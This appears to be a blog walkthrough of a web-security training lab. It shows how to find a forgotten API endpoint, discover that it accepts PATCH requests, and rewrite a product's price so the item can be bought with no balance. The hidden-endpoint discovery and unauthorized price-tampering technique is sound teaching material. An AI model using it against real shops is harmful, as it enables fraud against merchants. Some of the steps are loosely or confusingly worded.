H i my dear readers, API-based applications often have endpoints that are kept for development/testing use and then become “unused” or “forgotten”. These can lead to data leakage or late-night access-breaking if there is no proper access control with the main app. Our goal in this lab is to find such an endpoint and prove its security vulnerability.

so let’s go…..

• First, we log in to the account with “wiener:peter”.

• Then we add the Lightweight l33t Leather Jacket to the cart. And try to buy it. But since we have ‘00’ balance, we are unable to buy the product.

• capture the network and mark “/product?product-id=1” , “/api/product/1/price” and see their mechanism.

(Methodology — What we tested)

• Client-side source (JavaScript, HTML) monitoring: Sometimes undisclosed endpoint names or routes are hidden on the client-side (config variables, comments, legacy code, etc.).
• Test for familiar naming patterns and common directories (e.g., /internal, /dev, /debug, /api/v2/old).
• Observe server behavior by changing request methods (method probing) — see if changing GET/POST/PUT/DELETE /PATCH….results in a different response.
• Analyze data/metadata in the response — especially system references, logging information, or user-ID references that shouldn’t be in production. Look for unusual status codes or consistent success responses

• Where if we send /api/product/1/price to the repeater, the price of the product is displayed. Now by sending the http _method in this instance to the intruder, we see “PATCH 400” after brute force.

• We see that the content type application json is supported.

• If we add price to the content type here and enter the desired price there, it is successfully saved in the browser. And we can buy the product at the price of the product we set.

Finally we buy a ‘Lightweight l33t Leather Jacket’ without balance And in the meantime we get a pop-up message, congratulating us that the issue with your room has been solved.